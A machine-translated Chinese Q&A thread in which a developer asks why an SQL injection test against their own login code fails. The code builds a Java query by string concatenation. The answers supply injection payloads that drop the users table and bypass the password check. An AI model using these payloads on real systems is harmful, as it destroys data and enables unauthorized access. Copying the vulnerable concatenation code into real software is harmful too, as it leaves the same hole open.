我试图通过尝试删除表(用户)来测试针对我的网站的SQL注入,并且它不起作用。
我的sql字符串语法:
String sql = "select * from users where username='" + username + "' and password='" + password + "';";
我将jack
放在用户名字段中
密码字段中的test'; DROP TABLE users; --
并获取以下sql字符串:
select * from users where username='jack' and password='test'; DROP TABLE users; --';
然后我执行它:
Statement st = conn.createStatement();
ResultSet rs = st.executeQuery(sql);
但它不起作用,不知道为什么?
答案 0 :(得分:1)
<击> 密码应为:
' OR 1=1; DROP TABLE users; --
击> '
将关闭密码字符串1=1
将确保您找到了结果。--
将评论之前密码的最后'
击> 修改强>
我犯了一个错误。正在考虑一个不同的黑客。1=1
将绕过密码检查并传递登录屏幕。
您只需要关闭密码字符串
'; DROP TABLE users; --
答案 1 :(得分:0)
您需要在注释字符后添加空格-
因此您需要更改此内容:
select * from users where username='jack' and password='test'; DROP TABLE users; --';
对此:
select * from users where username='jack' and password='test'; DROP TABLE users; -- ';